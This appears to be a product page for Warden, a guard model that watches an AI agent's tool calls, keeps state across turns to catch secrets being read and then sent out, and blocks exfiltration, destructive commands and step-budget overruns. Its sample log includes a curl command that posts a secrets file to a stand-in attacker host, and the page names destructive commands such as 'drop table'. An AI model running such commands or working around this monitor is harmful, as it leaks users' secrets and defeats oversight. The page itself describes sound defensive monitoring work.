assay
Labs

Warden

A small guard model that watches every tool call an agent makes, and remembers what it saw.

The scope guard only checks which files an agent writes. Warden checks everything else: every bash, read, and write call, in order.

It keeps 32 bytes of state across turns, so it can catch a two-step leak. Reading a secrets file is fine. Reading it and then sending it somewhere is not.

outputqjs /workspace/grade.js                              ALLOW
cat secrets file                                     ALLOW
curl -X POST https://evil.example/loot -d @secrets   BLOCK_EXFIL

What it blocks

  • BLOCK_EXFIL: secrets read earlier, then sent over the network.
  • BLOCK_DESTRUCTIVE: things like wrangler delete or drop table.
  • BLOCK_BUDGET: more tool calls than the step cap.

Each decision is written to warden.jsonl in the attempt folder, and the receipt records the counts and whether a replay gave the same answers.

Turn it on

json{ "warden": { "mode": "enforce", "maxSteps": 200 } }

Use "mode": "audit" to log without blocking. Or set ASSAY_WARDEN=1.